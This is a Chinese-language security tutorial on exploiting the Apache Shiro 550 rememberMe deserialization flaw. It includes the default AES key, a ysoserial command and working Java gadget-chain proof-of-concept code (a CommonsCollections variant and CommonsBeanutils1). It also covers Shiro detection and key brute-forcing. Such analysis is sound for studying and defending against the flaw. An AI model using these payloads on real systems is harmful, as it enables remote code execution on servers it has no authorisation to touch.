Java安全漫谈(4)——Shiro 550的背后

0x1 前言

在各级攻防演练中,Shiro反序列化漏洞一直是外网打点的必选手段,不过你未必知道,在简单的漏洞原理背后,还有不少有趣的知识。

0x2 Apache Shiro 550

漏洞的原理其实很简单,Shiro会将Cookie中rememberMe字段的数据先进行base64解码,再进行AES解密,最后对其进行反序列化。

Shiro 1.2.4版本之前AES解密的密钥被硬编码在源码中,这导致攻击者可以自行构造恶意数据进行反序列化攻击。

使用P牛的示例搭建一个Tomcat下的调试环境,登录时勾选Remember me然后抓包:

登录成功后,返回了字段名为rememberMe的cookie,我们可以手动解密一下:

ysoserial生成一个利用链为CommonsCollections6的序列化数据:

java -jar ysoserial.jar CommonsCollections6 'open -a Calculator.app' | base64

再对其进行AES加密和base64编码:

String base64Key = "kPH+bIxk5D2deZiIxcaaaA=="; //默认密钥
byte[] key = Base64.getDecoder().decode(base64Key);
String base64Payload = "rO0ABXNyABFqYX=......"; //evil serialized data 
byte[] bytesPayload = Base64.getDecoder().decode(base64Payload);
AesCipherService aes = new AesCipherService();
ByteSource cipher = aes.encrypt(bytesPayload, key);
System.out.println(cipher.toBase64());

填充到cookie的rememberMe字段并发送给Shiro后,并没有成功执行,出现了报错:

为什么不行?

失落的Transformer[]

根据报错信息,进入org.apache.shiro.io.ClassResolvingObjectInputStream类中:

它继承了ObjectInputStream类,并重写了resolveClass(),对比原本的方法,可以发现主要是用ClassUtils.forName()代替了Class.forName(),跟入org.apache.shiro.util.ClassUtils类,里面用的是内部类方法ExceptionIgnoringAccessor.loadClass()

public Class loadClass(String fqcn) {
    Class clazz = null;
    ClassLoader cl = getClassLoader();
    if (cl != null) {
        try {
            clazz = cl.loadClass(fqcn);
        } catch (ClassNotFoundException e) {
            if (log.isTraceEnabled()) {
                log.trace("Unable to load clazz named [" + fqcn + "] from class loader [" + cl + "]");
                }
            }
        }
    return clazz;
}

可以看到,这里Shiro用的是ClassLoader.loadClass(),并不是正常情况下的Class.loadClass(),在本次Tomcat环境中,ClassLoaderWebappClassLoader,将断点下在org.apache.catalina.loader.WebappClassLoaderBase类中:

这里的name多了前面的[L和末尾的;,它是JVM的标记,代表数组。跟入findLoadedClass0()

path是加载路径,但这里变成了/[Lorg/apache/commons/collections/Transformer;.class,这个路径肯定是加载不到的,按照Tomcat的类加载顺序,接下来该通过父加载器加载了:

clazz = Class.forName(name, false, this.parent);

最终还是使用Class.loadClass()的形式,指定了类加载为URLClassLoader,但URLClassLoader也无法加载,因为Tomcat和JDK的classpath并不相同,这里在Tomcat的上下文中,所以即使后面path恢复正常,也无法找到对应的class

那么是所有的数组类都无法被加载吗?并不是,使用JDK自带的数组类就可以被成功加载。

现在我们得到了报错的原因:Tomcat环境下的Shiro无法使用带有Transformer[]的利用链,因为两者的一些特性会导致无法加载类。

解决办法有多种,我们就用之前讲过的,利用TemplatesImpl来加载字节码。

TemplatesImpl显神通

之前文章中提到的CommonsCollections6利用链为:

HashSet.readObject()
    HashMap.put()
        HashMap.hash()
            TiedMapEntry.hashCode()
                LazyMap.get()
                    ChainedTransformer.transform()
                        InvokerTransformer.transform()

回顾之前所有的链,发现都有限制:

  • 利用CC2的思路,发现不行,因为TransformingComparator在当前依赖commons-collections 3.1中还不能被序列化
  • 利用CC3的思路,还是不行,仍然用到了Transformer[]

说明这里需要新思路了,让我们再次回到LazyMap.get()

public Object get(Object key) {
    if (map.containsKey(key) == false) {
        Object value = factory.transform(key);
        map.put(key, value);
        return value;
    }
    return map.get(key);
}

调用LazyMap.get()时传入的key不存在,就会触发相应参数的Transformer的transform(),但之前我们一直忽视了一点:key也会被传入transform()中。

之前利用链会用到ChainedTransformerTransformer[]的原因是为了实现层级调用transform(),现在的思路就是直接调用最终的InvokerTransformer.transform(),这样既不需要ChainedTransformer也不需要Transformer[]了。

继续回顾InvokerTransformer.transform()

public Object transform(Object input) {
    Class cls = input.getClass();
    Method method = cls.getMethod(iMethodName, iParamTypes);
    return method.invoke(input, iArgs);           
}

根据传入的input对象,调用其iMethodName,这两个都可控,直接一步到位,让它去调用TemplatesImpl.newTransformer(),问题就解决了。

PoC如下:

public class CommonsCollectionsShiro {
    public static void setFieldValue(Object object, String name, Object value) throws Exception{
        Field field = object.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(object, value);
    }

    public static byte[] getPayload(String cmd) throws Exception{
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass ct = pool.makeClass("evilClass");
        String evilCmd = "java.lang.Runtime.getRuntime().exec(\"" + cmd + "\");";
        ct.makeClassInitializer().insertBefore(evilCmd);
        ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        byte[] bytes = ct.toBytecode();
        byte[][] evilBytes = new byte[][]{bytes};

        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", evilBytes);
        setFieldValue(templates, "_name", "ShiroTest");
        setFieldValue(templates, "_class", null);

        Transformer transformer = new InvokerTransformer("getClass", null, null);
        Map lazyMap = LazyMap.decorate(new HashMap(), transformer);
        TiedMapEntry tied = new TiedMapEntry(lazyMap, templates);
        Map evilMap = new HashMap();
        evilMap.put(tied, "1");
        lazyMap.clear();
        setFieldValue(transformer, "iMethodName", "newTransformer");

        ByteArrayOutputStream outBytes = new ByteArrayOutputStream();
        ObjectOutputStream output = new ObjectOutputStream(outBytes);
        output.writeObject(evilMap);
        return outBytes.toByteArray();
    }
}

CommonsBeanutils1

如果目标环境没有符合条件的commons-collections依赖,就需要依靠Shiro默认的依赖commons-beanutils

Apache Commons Beanutils主要用来操作JavaBean,读写属性的方法符合以下格式的Java类对象被称为JavaBean

private Type name;
public Type getName(){...}
public void setName(){...}

读取的方法叫getter,写入的方法叫setter,这里的name就是属性(property).

CommonsBeanutils1这条链算是CommonsCollections4的变形,来看原来的利用链:

PriorityQueue.readObject()
    TransformingComparator.compare()
        ChainedTransformer.transform()
                InvokerTransformer.transform()
                    InstantiateTransformer.transform()
                        TemplatesImpl.newTransformer()    

CommonsBeanutils1用了新的构造思路,找到了BeanComparator来直接实例化TemplatesImpl类。

BeanComparator.compare()接受两个对象,再对其分别调用PropertyUtils.getProperty()获取其property属性的值,最后调用internalCompare()并返回结果。

PropertyUtils.getProperty()的实质是调用JavaBeangetter,如:

PropertyUtils.getProperty(new Cat(), "name");

实际上是去寻找getName()并调用。

所以这里需要想办法调用一个恶意的getter,参考上篇文章中CommonsCollections2的TemplatesImpl调用链,可以找到这个方法:TemplatesImpl.getOutputProperties(),该方法可以在类外被调用,符合条件。

PoC:

TemplatesImpl templates = CreateTemplatesImpl.getTemplates(cmd);
BeanComparator comparator = new BeanComparator();
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(2);

CreateTemplatesImpl.setFieldValue(comparator, "property", "outputProperties");
CreateTemplatesImpl.setFieldValue(queue, "queue", new Object[]{templates, templates});

ByteArrayOutputStream bytes = new ByteArrayOutputStream();
ObjectOutputStream output = new ObjectOutputStream(bytes);
output.writeObject(queue);
return bytes.toByteArray();

还有一点需要注意,本地生成payload的commons-beanutils版本需要跟目标保持一致,否则就会出现serialVersionUID不一致的错误。

攻击无依赖的Shiro

删去目标的commons-collections依赖再次进行利用,又出现了报错:

java.lang.ClassNotFoundException: 
Unable to load ObjectStreamClass [org.apache.commons.collections.comparators.ComparableComparator: 
static final long serialVersionUID = -291439688585137865L;]

因为Shiro在反序列化的时候依然需要commons-collections依赖,所以虽然正常使用不影响,但无法进行攻击。

ComparableComparator类被BeanComparator类的构造方法调用:

如果不指定初始化时的Comparator,则使用ComparableComparator,所以要找到一个可以替换它的类在初始化时传入,这个类要实现ComparatorSerializable接口,并且应该是JDK、Shiro自带的类。

JDK中的CaseInsensitiveComparator类满足以上条件:

最终的PoC只需在BeanComparator初始化时传入参数:

BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);

另外在调用PriorityQueue.add()时应该传入String而不是Integer,即queue.add("1").

0x3 检测Shiro反序列化漏洞

检测和利用Shiro 550的流程已经比较成熟了:

  1. 检测Shiro特征
  2. 检测AES Key
  3. 检测利用链和回显方案
  4. 深入利用(命令执行、注入内存马等)

由于篇幅原因,我们这里只讨论前两步,其他内容将在以后的文章中叙述。

Shiro特征

Shiro最著名的特征就是Cookie中有一个rememberMe字段,但一些开发者会修改这个字段名称,所以单靠这个并不能完全检测Shiro.

来看看最常用的Shiro 550漏洞利用工具ShiroAttack2是如何检测Shiro的:

两个步骤,分别在请求时的Cookie中加入rememberMe=yesrememberMe=10位随机字符,如果响应头中存在关键字=deleteMe代表存在Shiro框架。

AES Key爆破

判断当前Key是否正确也是比较麻烦的事情,可以用URLDNS链配合dnslog来检测,准确率高,但效率一般,并且如果目标主机不出网就失效了。

一种另类的 shiro 检测方式里给出了比较好的解决方案,构造一个空的SimplePrincipalCollection对象进行序列化并传递:

解决payload长度限制问题

Shiro的payload都是通过Cookie字段进行传输的,在遇到一些对HTTP Header长度有限制的中间件时,就会发生攻击失败的情况,例如Tomcat.

针对这种情况,一般有以下几种解决办法:

  1. 通过反射修改maxHTTPHeaderSize的大小
  2. 利用类动态加载机制分离payload
  3. 分块传输
  4. 从字节码层面压缩payload

因为还存在一些问题没有解决,所以这些方法的详细实现将在解决之后补充进本文。

0x4 小结

攻防演练不能失去Shiro,就像沈阳不能失去沈阳大街。一个合格的红队选手肯定不能止步于打开工具无脑开扫,知其原理,才能在特殊的目标环境中解决问题。